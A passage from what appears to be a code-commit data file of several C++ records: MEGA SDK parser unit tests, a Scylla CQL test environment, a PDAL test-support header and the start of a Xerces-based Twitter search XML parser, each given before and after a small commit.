ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetCountryCallingCodes_processResult_invalidResponse)\n{\n MockApp_CommandGetCountryCallingCodes app;\n\n JSON json;\n json.pos = R\"({\"cc\":\"AD\",\"blah\":[12,376]})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetCountryCallingCodes::processResult(app, json);\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_EINTERNAL, app.mLastError);\n ASSERT_EQ(nullptr, app.mCountryCallingCodes);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetCountryCallingCodes_processResult_errorCodeReceived)\n{\n MockApp_CommandGetCountryCallingCodes app;\n\n JSON json;\n json.pos = \"-8\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetCountryCallingCodes::processResult(app, json);\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_EEXPIRED, app.mLastError);\n ASSERT_EQ(nullptr, app.mCountryCallingCodes);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\nFix unit tests for `usabd` command (v:1)\/**\n * (c) 2019 by Mega Limited, Wellsford, New Zealand\n *\n * This file is part of the MEGA SDK - Client Access Engine.\n *\n * Applications using the MEGA API must present a valid application key\n * and comply with the the rules set forth in the Terms of Service.\n *\n * The MEGA SDK is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n *\n * @copyright Simplified (2-clause) BSD License.\n *\n * You should have received a copy of the license along with this\n * program.\n *\/\n\n#include \n\n#include \n\n#include \n#include \n#include \n#include \n#include \n\nusing namespace std;\nusing namespace mega;\n\nnamespace {\n\nclass MockApp_CommandGetRegisteredContacts : public MegaApp\n{\npublic:\n using DataType = vector>;\n\n int mCallCount = 0;\n ErrorCodes mLastError = ErrorCodes::API_EINTERNAL;\n std::unique_ptr mRegisteredContacts;\n\n void getregisteredcontacts_result(const ErrorCodes e, DataType* const data) override\n {\n ++mCallCount;\n mLastError = e;\n if (data)\n {\n mRegisteredContacts = std::unique_ptr{new DataType{*data}};\n }\n else\n {\n assert(e != ErrorCodes::API_OK);\n }\n }\n};\n\n} \/\/ anonymous\n\nTEST(Commands, CommandGetRegisteredContacts_processResult_happyPath)\n{\n MockApp_CommandGetRegisteredContacts app;\n\n JSON json;\n json.pos = R\"({\"eud\":\"Zm9vQG1lZ2EuY28ubno\",\"id\":\"13\",\"ud\":\"Zm9vQG1lZ2EuY28ubno\"},{\"eud\":\"KzY0MjcxMjM0NTY3\",\"id\":\"42\",\"ud\":\"KzY0IDI3IDEyMyA0NTY3\"})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetRegisteredContacts::processResult(app, json);\n\n const vector> expected{\n {\"foo@mega.co.nz\", \"13\", \"foo@mega.co.nz\"},\n {\"+64271234567\", \"42\", \"+64 27 123 4567\"},\n };\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_OK, app.mLastError);\n ASSERT_NE(nullptr, app.mRegisteredContacts);\n ASSERT_EQ(expected, *app.mRegisteredContacts);\n ASSERT_EQ((long)jsonLength, std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetRegisteredContacts_processResult_onlyOneContact)\n{\n MockApp_CommandGetRegisteredContacts app;\n\n JSON json;\n json.pos = R\"({\"eud\":\"Zm9vQG1lZ2EuY28ubno\",\"id\":\"13\",\"ud\":\"Zm9vQG1lZ2EuY28ubno\"})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetRegisteredContacts::processResult(app, json);\n\n const vector> expected{\n {\"foo@mega.co.nz\", \"13\", \"foo@mega.co.nz\"},\n };\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_OK, app.mLastError);\n ASSERT_NE(nullptr, app.mRegisteredContacts);\n ASSERT_EQ(expected, *app.mRegisteredContacts);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetRegisteredContacts_processResult_extraFieldShouldBeIgnored)\n{\n MockApp_CommandGetRegisteredContacts app;\n\n JSON json;\n json.pos = R\"({\"eud\":\"Zm9vQG1lZ2EuY28ubno\",\"id\":\"13\",\"ud\":\"Zm9vQG1lZ2EuY28ubno\",\"YmxhaA\":\"42\"})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetRegisteredContacts::processResult(app, json);\n\n const vector> expected{\n {\"foo@mega.co.nz\", \"13\", \"foo@mega.co.nz\"},\n };\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_OK, app.mLastError);\n ASSERT_NE(nullptr, app.mRegisteredContacts);\n ASSERT_EQ(expected, *app.mRegisteredContacts);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetRegisteredContacts_processResult_invalidResponse)\n{\n MockApp_CommandGetRegisteredContacts app;\n\n JSON json;\n json.pos = R\"({\"eud\":\"Zm9vQG1lZ2EuY28ubno\",\"id\":\"13\",\"YmxhaA\":\"42\"})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetRegisteredContacts::processResult(app, json);\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_EINTERNAL, app.mLastError);\n ASSERT_EQ(nullptr, app.mRegisteredContacts);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetRegisteredContacts_processResult_errorCodeReceived)\n{\n MockApp_CommandGetRegisteredContacts app;\n\n JSON json;\n json.pos = \"-8\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetRegisteredContacts::processResult(app, json);\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_EEXPIRED, app.mLastError);\n ASSERT_EQ(nullptr, app.mRegisteredContacts);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nnamespace {\n\nclass MockApp_CommandGetCountryCallingCodes : public MegaApp\n{\npublic:\n using DataType = map>;\n\n int mCallCount = 0;\n ErrorCodes mLastError = ErrorCodes::API_EINTERNAL;\n std::unique_ptr mCountryCallingCodes;\n\n void getcountrycallingcodes_result(const ErrorCodes e, DataType* const data) override\n {\n ++mCallCount;\n mLastError = e;\n if (data)\n {\n mCountryCallingCodes = std::unique_ptr{new DataType{*data}};\n }\n else\n {\n assert(e != ErrorCodes::API_OK);\n }\n }\n};\n\n} \/\/ anonymous\n\nTEST(Commands, CommandGetCountryCallingCodes_processResult_happyPath)\n{\n MockApp_CommandGetCountryCallingCodes app;\n\n JSON json;\n json.pos = R\"({\"cc\":\"AD\",\"l\":[376]},{\"cc\":\"AE\",\"l\":[971,13]},{\"cc\":\"AF\",\"l\":[93,13,42]})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetCountryCallingCodes::processResult(app, json);\n\n const map> expected{\n {\"AD\", {\"376\"}},\n {\"AE\", {\"971\", \"13\"}},\n {\"AF\", {\"93\", \"13\", \"42\"}},\n };\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_OK, app.mLastError);\n ASSERT_NE(nullptr, app.mCountryCallingCodes);\n ASSERT_EQ(expected, *app.mCountryCallingCodes);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetCountryCallingCodes_processResult_onlyOneCountry)\n{\n MockApp_CommandGetCountryCallingCodes app;\n\n JSON json;\n json.pos = R\"({\"cc\":\"AD\",\"l\":[12,376]})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetCountryCallingCodes::processResult(app, json);\n\n const map> expected{\n {\"AD\", {\"12\", \"376\"}},\n };\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_OK, app.mLastError);\n ASSERT_NE(nullptr, app.mCountryCallingCodes);\n ASSERT_EQ(expected, *app.mCountryCallingCodes);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetCountryCallingCodes_processResult_extraFieldShouldBeIgnored)\n{\n MockApp_CommandGetCountryCallingCodes app;\n\n JSON json;\n json.pos = R\"({\"cc\":\"AD\",\"l\":[12,376],\"blah\":\"42\"})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetCountryCallingCodes::processResult(app, json);\n\n const map> expected{\n {\"AD\", {\"12\", \"376\"}},\n };\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_OK, app.mLastError);\n ASSERT_NE(nullptr, app.mCountryCallingCodes);\n ASSERT_EQ(expected, *app.mCountryCallingCodes);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetCountryCallingCodes_processResult_invalidResponse)\n{\n MockApp_CommandGetCountryCallingCodes app;\n\n JSON json;\n json.pos = R\"({\"cc\":\"AD\",\"blah\":[12,376]})\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetCountryCallingCodes::processResult(app, json);\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_EINTERNAL, app.mLastError);\n ASSERT_EQ(nullptr, app.mCountryCallingCodes);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n\nTEST(Commands, CommandGetCountryCallingCodes_processResult_errorCodeReceived)\n{\n MockApp_CommandGetCountryCallingCodes app;\n\n JSON json;\n json.pos = \"-8\";\n const auto jsonBegin = json.pos;\n const auto jsonLength = strlen(json.pos);\n\n CommandGetCountryCallingCodes::processResult(app, json);\n\n ASSERT_EQ(1, app.mCallCount);\n ASSERT_EQ(API_EEXPIRED, app.mLastError);\n ASSERT_EQ(nullptr, app.mCountryCallingCodes);\n ASSERT_EQ(ptrdiff_t(jsonLength), std::distance(jsonBegin, json.pos)); \/\/ assert json has been parsed all the way\n}\n<|endoftext|>"} {"text":"\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n#include \"core\/do_with.hh\"\n#include \"cql_test_env.hh\"\n#include \"cql3\/query_processor.hh\"\n#include \"cql3\/query_options.hh\"\n#include \"core\/distributed.hh\"\n#include \"core\/shared_ptr.hh\"\n#include \"utils\/UUID_gen.hh\"\n#include \"message\/messaging_service.hh\"\n#include \"service\/storage_service.hh\"\n\nclass in_memory_cql_env : public cql_test_env {\npublic:\n static auto constexpr ks_name = \"ks\";\nprivate:\n ::shared_ptr> _db;\n ::shared_ptr> _qp;\n ::shared_ptr> _proxy;\nprivate:\n struct core_local_state {\n service::client_state client_state;\n\n core_local_state()\n : client_state(service::client_state::for_internal_calls()) {\n client_state.set_keyspace(ks_name);\n }\n\n future<> stop() {\n return make_ready_future<>();\n }\n };\n distributed _core_local;\nprivate:\n auto make_query_state() {\n return ::make_shared(_core_local.local().client_state);\n }\npublic:\n in_memory_cql_env(\n ::shared_ptr> db,\n ::shared_ptr> qp,\n ::shared_ptr> proxy)\n : _db(db)\n , _qp(qp)\n , _proxy(proxy)\n { }\n\n virtual future<::shared_ptr> execute_cql(const sstring& text) override {\n auto qs = make_query_state();\n return _qp->local().process(text, *qs, cql3::query_options::DEFAULT).finally([qs] {});\n }\n\n virtual future<::shared_ptr> execute_cql(\n const sstring& text,\n std::unique_ptr qo) override\n {\n auto qs = make_query_state();\n auto& lqo = *qo;\n return _qp->local().process(text, *qs, lqo).finally([qs, qo = std::move(qo)] {});\n }\n\n virtual future prepare(sstring query) override {\n return _qp->invoke_on_all([query, this] (auto& local_qp) {\n auto qs = this->make_query_state();\n return local_qp.prepare(query, *qs).finally([qs] {}).discard_result();\n }).then([query, this] {\n return _qp->local().compute_id(query, ks_name);\n });\n }\n\n virtual future<::shared_ptr> execute_prepared(\n bytes id,\n std::vector values) override\n {\n auto prepared = _qp->local().get_prepared(id);\n assert(bool(prepared));\n auto stmt = prepared->statement;\n assert(stmt->get_bound_terms() == values.size());\n\n int32_t protocol_version = 3;\n auto options = ::make_shared(db::consistency_level::ONE, std::experimental::nullopt, std::move(values), false,\n cql3::query_options::specific_options::DEFAULT, protocol_version, serialization_format::use_32_bit());\n options->prepare(prepared->bound_names);\n\n auto qs = make_query_state();\n return _qp->local().process_statement(stmt, *qs, *options)\n .finally([options, qs] {});\n }\n\n virtual future<> create_table(std::function schema_maker) override {\n auto id = utils::UUID_gen::get_time_UUID();\n return _db->invoke_on_all([schema_maker, id, this] (database& db) {\n auto cf_schema = make_lw_shared(schema_maker(ks_name));\n cf_schema->set_id(id);\n auto& ks = db.find_keyspace(ks_name);\n auto cfg = ks.make_column_family_config(*cf_schema);\n db.add_column_family(column_family(std::move(cf_schema), std::move(cfg)));\n });\n }\n\n virtual future<> require_keyspace_exists(const sstring& ks_name) override {\n auto& db = _db->local();\n assert(db.has_keyspace(ks_name));\n return make_ready_future<>();\n }\n\n virtual future<> require_table_exists(const sstring& ks_name, const sstring& table_name) override {\n auto& db = _db->local();\n assert(db.has_schema(ks_name, table_name));\n return make_ready_future<>();\n }\n\n virtual future<> require_column_has_value(const sstring& table_name,\n std::vector pk,\n std::vector ck,\n const sstring& column_name,\n boost::any expected) override {\n auto& db = _db->local();\n auto& cf = db.find_column_family(ks_name, table_name);\n auto schema = cf.schema();\n auto pkey = partition_key::from_deeply_exploded(*schema, pk);\n auto dk = dht::global_partitioner().decorate_key(*schema, pkey);\n auto shard = db.shard_of(dk._token);\n return _db->invoke_on(shard, [pkey = std::move(pkey),\n ck = std::move(ck),\n ks_name = std::move(ks_name),\n column_name = std::move(column_name),\n expected = std::move(expected),\n table_name = std::move(table_name)] (database& db) mutable {\n auto& cf = db.find_column_family(ks_name, table_name);\n auto schema = cf.schema();\n return cf.find_partition_slow(pkey).then([schema, ck, column_name, expected] (column_family::const_mutation_partition_ptr p) {\n assert(p != nullptr);\n auto row = p->find_row(clustering_key::from_deeply_exploded(*schema, ck));\n assert(row != nullptr);\n auto col_def = schema->get_column_definition(utf8_type->decompose(column_name));\n assert(col_def != nullptr);\n const atomic_cell_or_collection* cell = row->find_cell(col_def->id);\n if (!cell) {\n assert(((void)\"column not set\", 0));\n }\n bytes actual;\n if (!col_def->type->is_multi_cell()) {\n auto c = cell->as_atomic_cell();\n assert(c.is_live());\n actual = { c.value().begin(), c.value().end() };\n } else {\n auto c = cell->as_collection_mutation();\n auto type = dynamic_pointer_cast(col_def->type);\n actual = type->to_value(type->deserialize_mutation_form(c),\n serialization_format::internal());\n }\n assert(col_def->type->equal(actual, col_def->type->decompose(expected)));\n });\n });\n }\n\n virtual database& local_db() override {\n return _db->local();\n }\n\n future<> start() {\n return _core_local.start().then([this] () {\n auto query = sprint(\"create keyspace %s with replication = { 'class' : 'org.apache.cassandra.locator.SimpleStrategy', 'replication_factor' : 1 };\", sstring{ks_name});\n return execute_cql(query).discard_result().then([] {\n return make_ready_future<>();\n });\n });\n }\n\n virtual future<> stop() override {\n return _core_local.stop().then([this] {\n return _qp->stop().then([this] {\n return _proxy->stop().then([this] {\n return _db->stop().then([] {\n return locator::i_endpoint_snitch::stop_snitch();\n });\n });\n });\n });\n }\n};\n\nfuture<> init_once() {\n static bool done = false;\n if (!done) {\n done = true;\n return service::init_storage_service().then([] {\n return net::init_messaging_service(\"127.0.0.1\", db::config::seed_provider_type()).then([] {\n });\n });\n } else {\n return make_ready_future();\n }\n}\nfuture<::shared_ptr> make_env_for_test() {\n return init_once().then([] {\n using namespace locator;\n return i_endpoint_snitch::create_snitch(\"org.apache.cassandra.locator.SimpleSnitch\").then([] {\n auto db = ::make_shared>();\n auto cfg = make_lw_shared();\n cfg->data_file_directories() = {};\n return db->start(std::move(*cfg)).then([db] {\n auto proxy = ::make_shared>();\n auto qp = ::make_shared>();\n return proxy->start(std::ref(*db)).then([qp, db, proxy] {\n return qp->start(std::ref(*proxy), std::ref(*db)).then([db, proxy, qp] {\n auto env = ::make_shared(db, qp, proxy);\n return env->start().then([env] () -> ::shared_ptr {\n return env;\n });\n });\n });\n });\n });\n });\n}\n\nfuture<> do_with_cql_env(std::function(cql_test_env&)> func) {\n return make_env_for_test().then([func = std::move(func)] (auto e) mutable {\n return do_with(std::move(func), [e] (auto& f) {\n return f(*e);\n }).finally([e] {\n return e->stop().finally([e] {});\n });\n });\n}\ntests: Add missing blank line\/*\n * Copyright (C) 2015 Cloudius Systems, Ltd.\n *\/\n\n#include \"core\/do_with.hh\"\n#include \"cql_test_env.hh\"\n#include \"cql3\/query_processor.hh\"\n#include \"cql3\/query_options.hh\"\n#include \"core\/distributed.hh\"\n#include \"core\/shared_ptr.hh\"\n#include \"utils\/UUID_gen.hh\"\n#include \"message\/messaging_service.hh\"\n#include \"service\/storage_service.hh\"\n\nclass in_memory_cql_env : public cql_test_env {\npublic:\n static auto constexpr ks_name = \"ks\";\nprivate:\n ::shared_ptr> _db;\n ::shared_ptr> _qp;\n ::shared_ptr> _proxy;\nprivate:\n struct core_local_state {\n service::client_state client_state;\n\n core_local_state()\n : client_state(service::client_state::for_internal_calls()) {\n client_state.set_keyspace(ks_name);\n }\n\n future<> stop() {\n return make_ready_future<>();\n }\n };\n distributed _core_local;\nprivate:\n auto make_query_state() {\n return ::make_shared(_core_local.local().client_state);\n }\npublic:\n in_memory_cql_env(\n ::shared_ptr> db,\n ::shared_ptr> qp,\n ::shared_ptr> proxy)\n : _db(db)\n , _qp(qp)\n , _proxy(proxy)\n { }\n\n virtual future<::shared_ptr> execute_cql(const sstring& text) override {\n auto qs = make_query_state();\n return _qp->local().process(text, *qs, cql3::query_options::DEFAULT).finally([qs] {});\n }\n\n virtual future<::shared_ptr> execute_cql(\n const sstring& text,\n std::unique_ptr qo) override\n {\n auto qs = make_query_state();\n auto& lqo = *qo;\n return _qp->local().process(text, *qs, lqo).finally([qs, qo = std::move(qo)] {});\n }\n\n virtual future prepare(sstring query) override {\n return _qp->invoke_on_all([query, this] (auto& local_qp) {\n auto qs = this->make_query_state();\n return local_qp.prepare(query, *qs).finally([qs] {}).discard_result();\n }).then([query, this] {\n return _qp->local().compute_id(query, ks_name);\n });\n }\n\n virtual future<::shared_ptr> execute_prepared(\n bytes id,\n std::vector values) override\n {\n auto prepared = _qp->local().get_prepared(id);\n assert(bool(prepared));\n auto stmt = prepared->statement;\n assert(stmt->get_bound_terms() == values.size());\n\n int32_t protocol_version = 3;\n auto options = ::make_shared(db::consistency_level::ONE, std::experimental::nullopt, std::move(values), false,\n cql3::query_options::specific_options::DEFAULT, protocol_version, serialization_format::use_32_bit());\n options->prepare(prepared->bound_names);\n\n auto qs = make_query_state();\n return _qp->local().process_statement(stmt, *qs, *options)\n .finally([options, qs] {});\n }\n\n virtual future<> create_table(std::function schema_maker) override {\n auto id = utils::UUID_gen::get_time_UUID();\n return _db->invoke_on_all([schema_maker, id, this] (database& db) {\n auto cf_schema = make_lw_shared(schema_maker(ks_name));\n cf_schema->set_id(id);\n auto& ks = db.find_keyspace(ks_name);\n auto cfg = ks.make_column_family_config(*cf_schema);\n db.add_column_family(column_family(std::move(cf_schema), std::move(cfg)));\n });\n }\n\n virtual future<> require_keyspace_exists(const sstring& ks_name) override {\n auto& db = _db->local();\n assert(db.has_keyspace(ks_name));\n return make_ready_future<>();\n }\n\n virtual future<> require_table_exists(const sstring& ks_name, const sstring& table_name) override {\n auto& db = _db->local();\n assert(db.has_schema(ks_name, table_name));\n return make_ready_future<>();\n }\n\n virtual future<> require_column_has_value(const sstring& table_name,\n std::vector pk,\n std::vector ck,\n const sstring& column_name,\n boost::any expected) override {\n auto& db = _db->local();\n auto& cf = db.find_column_family(ks_name, table_name);\n auto schema = cf.schema();\n auto pkey = partition_key::from_deeply_exploded(*schema, pk);\n auto dk = dht::global_partitioner().decorate_key(*schema, pkey);\n auto shard = db.shard_of(dk._token);\n return _db->invoke_on(shard, [pkey = std::move(pkey),\n ck = std::move(ck),\n ks_name = std::move(ks_name),\n column_name = std::move(column_name),\n expected = std::move(expected),\n table_name = std::move(table_name)] (database& db) mutable {\n auto& cf = db.find_column_family(ks_name, table_name);\n auto schema = cf.schema();\n return cf.find_partition_slow(pkey).then([schema, ck, column_name, expected] (column_family::const_mutation_partition_ptr p) {\n assert(p != nullptr);\n auto row = p->find_row(clustering_key::from_deeply_exploded(*schema, ck));\n assert(row != nullptr);\n auto col_def = schema->get_column_definition(utf8_type->decompose(column_name));\n assert(col_def != nullptr);\n const atomic_cell_or_collection* cell = row->find_cell(col_def->id);\n if (!cell) {\n assert(((void)\"column not set\", 0));\n }\n bytes actual;\n if (!col_def->type->is_multi_cell()) {\n auto c = cell->as_atomic_cell();\n assert(c.is_live());\n actual = { c.value().begin(), c.value().end() };\n } else {\n auto c = cell->as_collection_mutation();\n auto type = dynamic_pointer_cast(col_def->type);\n actual = type->to_value(type->deserialize_mutation_form(c),\n serialization_format::internal());\n }\n assert(col_def->type->equal(actual, col_def->type->decompose(expected)));\n });\n });\n }\n\n virtual database& local_db() override {\n return _db->local();\n }\n\n future<> start() {\n return _core_local.start().then([this] () {\n auto query = sprint(\"create keyspace %s with replication = { 'class' : 'org.apache.cassandra.locator.SimpleStrategy', 'replication_factor' : 1 };\", sstring{ks_name});\n return execute_cql(query).discard_result().then([] {\n return make_ready_future<>();\n });\n });\n }\n\n virtual future<> stop() override {\n return _core_local.stop().then([this] {\n return _qp->stop().then([this] {\n return _proxy->stop().then([this] {\n return _db->stop().then([] {\n return locator::i_endpoint_snitch::stop_snitch();\n });\n });\n });\n });\n }\n};\n\nfuture<> init_once() {\n static bool done = false;\n if (!done) {\n done = true;\n return service::init_storage_service().then([] {\n return net::init_messaging_service(\"127.0.0.1\", db::config::seed_provider_type()).then([] {\n });\n });\n } else {\n return make_ready_future();\n }\n}\n\nfuture<::shared_ptr> make_env_for_test() {\n return init_once().then([] {\n using namespace locator;\n return i_endpoint_snitch::create_snitch(\"org.apache.cassandra.locator.SimpleSnitch\").then([] {\n auto db = ::make_shared>();\n auto cfg = make_lw_shared();\n cfg->data_file_directories() = {};\n return db->start(std::move(*cfg)).then([db] {\n auto proxy = ::make_shared>();\n auto qp = ::make_shared>();\n return proxy->start(std::ref(*db)).then([qp, db, proxy] {\n return qp->start(std::ref(*proxy), std::ref(*db)).then([db, proxy, qp] {\n auto env = ::make_shared(db, qp, proxy);\n return env->start().then([env] () -> ::shared_ptr {\n return env;\n });\n });\n });\n });\n });\n });\n}\n\nfuture<> do_with_cql_env(std::function(cql_test_env&)> func) {\n return make_env_for_test().then([func = std::move(func)] (auto e) mutable {\n return do_with(std::move(func), [e] (auto& f) {\n return f(*e);\n }).finally([e] {\n return e->stop().finally([e] {});\n });\n });\n}\n<|endoftext|>"} {"text":"\/******************************************************************************\n* Copyright (c) 2011, Michael P. Gerlek (mpg@flaxen.com)\n*\n* All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following\n* conditions are met:\n*\n* * Redistributions of source code must retain the above copyright\n* notice, this list of conditions and the following disclaimer.\n* * Redistributions in binary form must reproduce the above copyright\n* notice, this list of conditions and the following disclaimer in\n* the documentation and\/or other materials provided\n* with the distribution.\n* * Neither the name of Hobu, Inc. or Flaxen Geo Consulting nor the\n* names of its contributors may be used to endorse or promote\n* products derived from this software without specific prior\n* written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\n* OF SUCH DAMAGE.\n****************************************************************************\/\n\n#ifndef UNITTEST_SUPPORT_INCLUDED\n#define UNITTEST_SUPPORT_INCLUDED\n\n\/\/ support functions for unit testing\n\n#include \n#include \n\n\/\/ verify if two files are the same\nextern bool compare_files(const std::string& file1, const std::string& file2);\n\nstruct TestConfig {\n TestConfig();\n static std::string g_data_path;\n};\n\n#endif\nadded note about FP compares\/******************************************************************************\n* Copyright (c) 2011, Michael P. Gerlek (mpg@flaxen.com)\n*\n* All rights reserved.\n*\n* Redistribution and use in source and binary forms, with or without\n* modification, are permitted provided that the following\n* conditions are met:\n*\n* * Redistributions of source code must retain the above copyright\n* notice, this list of conditions and the following disclaimer.\n* * Redistributions in binary form must reproduce the above copyright\n* notice, this list of conditions and the following disclaimer in\n* the documentation and\/or other materials provided\n* with the distribution.\n* * Neither the name of Hobu, Inc. or Flaxen Geo Consulting nor the\n* names of its contributors may be used to endorse or promote\n* products derived from this software without specific prior\n* written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n* \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY\n* OF SUCH DAMAGE.\n****************************************************************************\/\n\n#ifndef UNITTEST_SUPPORT_INCLUDED\n#define UNITTEST_SUPPORT_INCLUDED\n\n\/\/ support functions for unit testing\n\n#include \n#include \n\n\/\/ verify if two files are the same\nextern bool compare_files(const std::string& file1, const std::string& file2);\n\nstruct TestConfig {\n TestConfig();\n static std::string g_data_path;\n};\n\n\n\/\/ for comparing to floating point values, use\n\/\/ BOOST_CHECK_CLOSE(a,b,perc)\n\/\/ where perc is a percentage value in the range [0..100] (typically)\n\n\n#endif\n<|endoftext|>"} {"text":"#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n\n#include \"SearchParser.h\"\n\nusing namespace xercesc;\nusing namespace std;\n\n\/\/ Error codes\n\nenum {\n ERROR_ARGS = 1, \n ERROR_XERCES_INIT,\n ERROR_PARSE,\n ERROR_EMPTY_DOCUMENT\n};\n\n\/**\n * Constructor initializes xerces-C libraries.\n * The XML tags and attributes which we seek are defined.\n * The xerces-C DOM parser infrastructure is initialized.\n *\/\n\nSearchParser::SearchParser()\n{\n try\n {\n XMLPlatformUtils::Initialize(); \/\/ Initialize Xerces infrastructure\n }\n catch( XMLException& e )\n {\n char* message = XMLString::transcode( e.getMessage() );\n cerr << \"XML toolkit initialization error: \" << message << endl;\n XMLString::release( &message );\n \/\/ throw exception here to return ERROR_XERCES_INIT\n }\n\n \/\/ Tags and attributes used in XML file.\n \/\/ Can't call transcode till after Xerces Initialize()\n TAG_root = XMLString::transcode(\"feed\");\n TAG_status = XMLString::transcode(\"entry\");\n TAG_text = XMLString::transcode(\"title\");\n TAG_user = XMLString::transcode(\"name\");\n TAG_username = XMLString::transcode(\"uri\"); \/\/Using the instead of get us around some encoding bugs:)\n TAG_image = XMLString::transcode(\"link\");\n TAG_date = XMLString::transcode(\"published\");\n TAG_id = XMLString::transcode(\"id\");\n TAG_error = XMLString::transcode(\"error\");\n ATTR_href = XMLString::transcode(\"href\");\n\n m_ConfigFileParser = new XercesDOMParser;\n tweetPtr = NULL;\n numberOfEntries = 0;\n}\n\n\/**\n * Class destructor frees memory used to hold the XML tag and \n * attribute definitions. It als terminates use of the xerces-C\n * framework.\n *\/\n\nSearchParser::~SearchParser()\n{\n delete m_ConfigFileParser;\n XMLString::release( &TAG_root );\n XMLString::release( &TAG_status );\n XMLString::release( 